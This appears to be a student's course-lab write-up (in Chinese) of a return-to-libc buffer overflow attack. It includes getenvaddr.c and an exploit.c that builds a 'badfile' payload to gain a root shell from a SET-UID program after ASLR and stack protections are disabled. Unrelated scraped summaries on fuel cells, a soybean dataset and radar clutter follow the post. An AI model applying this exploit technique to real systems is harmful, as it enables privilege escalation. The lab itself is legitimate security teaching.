2023-2024-1 20232811《Linux内核原理与分析》第十二周作业

202328 2023-12-08 11:47:33

目录

一、实验描述

二、实验准备

2.1 输入命令安装一些用于编译 32 位 C 程序的软件包

2.2 输入命令 linux32 进入 32 位 linux 环境,输入 /bin/bash 使用 bash

三、实验步骤

3.1 初始设置

3.2 漏洞程序

3.3 攻击程序

3.4 获取内存地址

3.5 攻击

四、总结和问答


一、实验描述

缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。

不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序跳转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

二、实验准备

实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。

2.1 输入命令安装一些用于编译 32 位 C 程序的软件包

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386 #这个过程耗时有点长,请等待一会

sudo apt-get install lib32readline-gplv2-dev

2.2 输入命令 linux32 进入 32 位 linux 环境,输入 /bin/bash 使用 bash

 

三、实验步骤

3.1 初始设置

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向/bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:

为了防止缓冲区溢出攻击,最近版本的 gcc 编译器默认将程序编译设置为栈不可执行,而你可以在编译的时候手动设置是否使栈不可执行:

gcc -z execstack -o test test.c    #栈可执行

gcc -z noexecstack -o test test.c  #栈不可执行

3.2 漏洞程序

在 /home/shiyanlou 目录下新建 retlib.c 文件

编译该程序,并设置 SET-UID。命令如下:

 

GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。

上述程序有一个缓冲区溢出漏洞,它先从一个叫 badfile 的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread() 函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做badfile的文件获得输入的,这个文件受用户控制。现在我们的目标是为 badfile 创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。

我们还需要用到一个读取环境变量的程序,在 /home/shiyanlou 目录下新建 getenvaddr.c 文件并编译,文件内容如下:

/* getenvaddr.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[])
{
    char *ptr;

    if (argc < 3)
    {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}

3.3 攻击程序

在 /home/shiyanlou 目录下新建 exploit.c 文件,内容如下:

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");
 
 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
  
 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}

代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取

3.4 获取内存地址

  1. 用刚才的 getenvaddr 程序获得 BIN_SH 地址:
  2. gdb 获得 system 和 exit 地址:
  3. 修改 exploit.c 文件,填上刚才找到的内存地址:
  4. 删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c: 

3.5 攻击

先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:

四、总结和问答

实验过程中编译文件时出现了这样的错误

已经指明了 -m32 选项,gcc 还会去 /usr/lib/gcc/x86_64-linux-gnu/ 这个路径下去找库,这里应该是有问题的。应该是实验楼的系统里面没有 32 位的库文件,缺少相关依赖。

 

...全文
618 回复 打赏 收藏 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复
内容概要:本文研究了一种面向燃料电池系统建模的极化曲线参数辨识方法,通过将人工蜂群算法(ABC)与Amphlett电化学模型相耦合,实现对质子交换膜燃料电池(PEMFC)关键性能参数的高精度全局优化辨识,并引入不确定性量化分析以评估参数估计的置信水平。研究系统阐述了Amphlett模型的物理机制与数学表达,构建了以实验测得的极化曲线数据为基准的目标函数,将参数反演问题转化为高维非线性优化问题,并利用人工蜂群算法强大的全局搜索能力和避免陷入局部最优的特性进行高效求解。文中深入分析了算法的收敛特性、参数敏感性及可辨识性,验证了该方法在提升燃料电池模型精度、鲁棒性与泛化能力方面的显著优势,为燃料电池系统的精确仿真、动态性能预测、控制策略设计与健康状态评估提供了坚实可靠的模型基础; 适合人群:具备一定电化学、热力学及优化算法理论基础,从事新能源技术、燃料电池建模与仿真、能源系统优化等相关领域的研究生、科研人员及工程技术人员; 使用场景及目标:①实现质子交换膜燃料电池半经验模型(如Amphlett模型)中关键参数的精确辨识;②学习并掌握群体智能优化算法(特别是人工蜂群算法)在复杂工程反问题中的应用方法;③开展燃料电池系统建模过程中的不确定性量化分析,评估模型参数的可靠性与稳健性;④为燃料电池的性能评估、故障诊断、寿命预测及系统级仿真与控制提供高保真度的数学模型支持; 阅读建议:此资源以Matlab代码实现为核心载体,深度融合了电化学理论、优化算法与数值计算,读者在学习过程中应重点理解Amphlett模型的构建逻辑、目标函数的设计原则以及人工蜂群算法的实现细节与关键参数设置,并强烈建议动手运行、调试代码,通过改变初始种群、实验数据集或模型结构等方式,深入探究参数辨识过程的收敛行为、算法性能差异及模型的适应性。
文末附数据集可视化效果图。 【数据集概况】 · 检测类别(中文):[大豆(soybean)] · 训练集:777 张 · 验证集:0 张 · 测试集:0 张 · 总计:777 张 该数据集聚焦农业科研领域,针对温室环境下大豆幼苗的精准检测需求,为植物生长监测与自动化管理提供高质量数据支撑。训练集777张,验证集和测试集为0张,符合农业科研场景中对特定生长阶段样本集中训练的需求,确保模型在目标场景下的泛化能力。所有样本均采用精准的边界框标注,标注规范统一,确保了数据集在大豆幼苗检测任务中的高精度与可靠性。该数据集可应用于农业科研机构的植物生长监测系统、智能温室管理平台等场景,... 【训练曲线与评估图】 【模型训练配置】 参数 | 值 模型 | yolo26n 训练轮数 | 100 epochs 输入尺寸 | 640x640 批次大小 | 24 优化器 | auto 初始学习率 | 0.01 训练设备 【关键指标汇总】 训练了 100 个 epoch,最终轮指标: 指标 | 数值 mAP50 | **0.9922** mAP50-95 | 0.9141 Precision | 0.9771 Recall | 0.9710 train/box_loss | 0.4231 train/cls_loss | 0.1829 val/box_loss | 0.3920 val/cls_loss | 0.1737 【训练过程分析】 100 轮训练后 mAP50 达到 0.9922,模型收敛良好。Loss 曲线前段快速下降,后段趋于平稳,val_loss 无反弹,没有明显过拟合。mAP50-95 为 0.9141,和 mAP50 差距仅 0.08,框的定位精度也很扎实。 【模型性能评估】 Precision 0.9771、Recall 0.9710,精召双高,模型对大豆的检测能力强。...
内容概要:本文研究了利用数字相控阵雷达技术抑制风力涡轮机对雷达系统造成的杂波干扰问题,并提供了基于Matlab的完整仿真代码实现。通过建立风力涡轮机雷达回波模型,分析其运动部件(如叶片)产生的多普勒频移与闪烁效应所导致的复杂杂波特性,提出采用数字相控阵雷达的空间波束成形、自适应波束控制和空时滤波等信号处理方法,有效增强主瓣指向性、抑制旁瓣干扰并提升目标分辨能力。研究涵盖雷达系统参数设计、杂波建模、阵列信号处理算法开发及仿真结果可视化等关键环节,验证了该技术在提升风电场周边雷达探测性能方面的可行性与优越性。; 适合人群:具备雷达信号处理、电子信息系统或电磁兼容等相关专业背景,熟悉Matlab编程,从事新能源与雷达兼容性研究、智能感知系统开发、空中交通监视系统设计的科研人员及研究生。; 使用场景及目标:①解决风力发电场密集区域对民用航空雷达、气象雷达等探测系统的电磁干扰问题;②提升复杂电磁环境下雷达系统对低空慢速目标的检测与跟踪能力;③为雷达工程师提供一套可复现、可扩展的杂波抑制算法仿真平台,用于优化雷达抗干扰策略; 阅读建议:建议读者结合Matlab代码逐模块运行与调试,重点理解雷达回波建模中风力涡轮机运动特性的数学表达,以及波束成形与自适应滤波算法的实现逻辑,建议配合雷达原理与阵列信号处理教材深入学习,以全面掌握技术细节并开展二次开发。

39

社区成员

发帖
与我相关
我的任务
社区描述
北京电子科技学院 《Linux内核原理与分析》课程
linuxarm开发系统安全 高校 北京·丰台区
社区管理员
  • rocflytosky
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧